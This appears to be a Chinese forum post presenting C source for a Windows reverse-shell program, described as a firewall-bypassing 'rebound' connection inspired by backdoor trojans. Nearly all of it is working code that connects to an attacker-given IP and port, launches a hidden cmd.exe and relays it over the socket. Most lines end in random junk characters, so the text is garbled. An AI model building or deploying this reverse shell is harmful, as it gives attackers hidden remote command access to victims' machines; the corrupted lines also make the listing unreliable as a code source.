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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 frqJN  
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/* ============================== T"!EK&  
Rebound port in Windows NT l!IGc:  
By wind,2006/7 'ere!:GJD  
===============================*/ O&'/J8  
#include Q4wc-s4RN  
#include KzVTkDn,  
/6U 4S>'(  
#pragma comment(lib,"wsock32.lib") bx>i6 R2  
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void OutputShell(); \ e,?rH  
SOCKET sClient; -0 0}if7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !kXeO6X@m  
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void main(int argc,char **argv) &71e5<(dG  
{ (F8AL6  
WSADATA stWsaData; {oWsh)[x2  
int nRet; 6[?}6gQ  
SOCKADDR_IN stSaiClient,stSaiServer; YKs4{?vw  
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if(argc != 3) sKfXg`0  
{ bGv4.:)  
printf("Useage:\n\rRebound DestIP DestPort\n"); p4> ,Fwy2  
return; CLN+I'uX0  
} %S#WPD'Y  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ow.6!tl0=h  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); onl>54M^  
f0oek{  
stSaiClient.sin_family = AF_INET; 0YS?=oi  
stSaiClient.sin_port = htons(0); h^M^7S  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %^.P~s6  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @2e2^8X7f  
{ Pp_V5,i\  
printf("Bind Socket Failed!\n"); 9Nt3Z >d  
return; d 4O   
} ;[6&0! N\  
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stSaiServer.sin_family = AF_INET; hz)9"B\S  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f\K#>u* Q  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2 F?kjg,  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h0VzIuV  
{ nGrVw&  
printf("Connect Error!"); ;nB2o-%  
return; bPd-D-R  
} v8@eW.I1  
OutputShell();  @Fx@5e  
} 8D~x\!(p\  
rt b*n~  
void OutputShell() _;e\:7<m  
{ D,rZ0?R  
char szBuff[1024]; Z+idLbIs  
SECURITY_ATTRIBUTES stSecurityAttributes; +LzovC@^  
OSVERSIONINFO stOsversionInfo; `6Hf&u<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; XDLEVSly7  
STARTUPINFO stStartupInfo; c> G@+  
char *szShell; kh?. K#  
PROCESS_INFORMATION stProcessInformation; Eark)  
unsigned long lBytesRead; gyus8#sT  
t(?<#KUB-  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7+ XM3  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); p|VcMxT9-  
stSecurityAttributes.lpSecurityDescriptor = 0; )5yj/0oT  
stSecurityAttributes.bInheritHandle = TRUE; 4}yE+dRUK:  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); P5URvEnz:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3] 76fF\^[  
{XnPx? V  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Lk.h.ST  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7B FN|S_l  
stStartupInfo.wShowWindow = SW_HIDE; agsISu(  
stStartupInfo.hStdInput = hReadPipe; *fhX*e8y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _t-7$d"  
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GetVersionEx(&stOsversionInfo); OFy,B-`A{  
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switch(stOsversionInfo.dwPlatformId) Rd! 2\|  
{ )HVcG0H1  
case 1: Tsz NlRxc  
szShell = "command.com"; jA`a/v Wu  
break; M|%c(K#E,3  
default: |.w;r   
szShell = "cmd.exe"; 8(A{;9^g  
break; u O'/|[`8  
} ,sDr9h/'C3  
xzk}[3P{  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); z="L4  
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send(sClient,szMsg,77,0); D4Sh9:\  
while(1) uva\0q  
{ E`)Qs[?Gk  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); l$XA5#k  
if(lBytesRead) hC>wFC  
{ - ]Y wl  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (cs~@  
send(sClient,szBuff,lBytesRead,0); K`4GU[ul  
} X8CVY0<o  
else GS%b=kc  
{ dVGbe07  
lBytesRead=recv(sClient,szBuff,1024,0); A3s57.Z]|  
if(lBytesRead<=0) break; /77z\[CeYH  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #x~_`>mDN  
} 2k+16/T  
} -e*BqH2t  
v2J0u:#,  
return; ")M;+<c"l  
}
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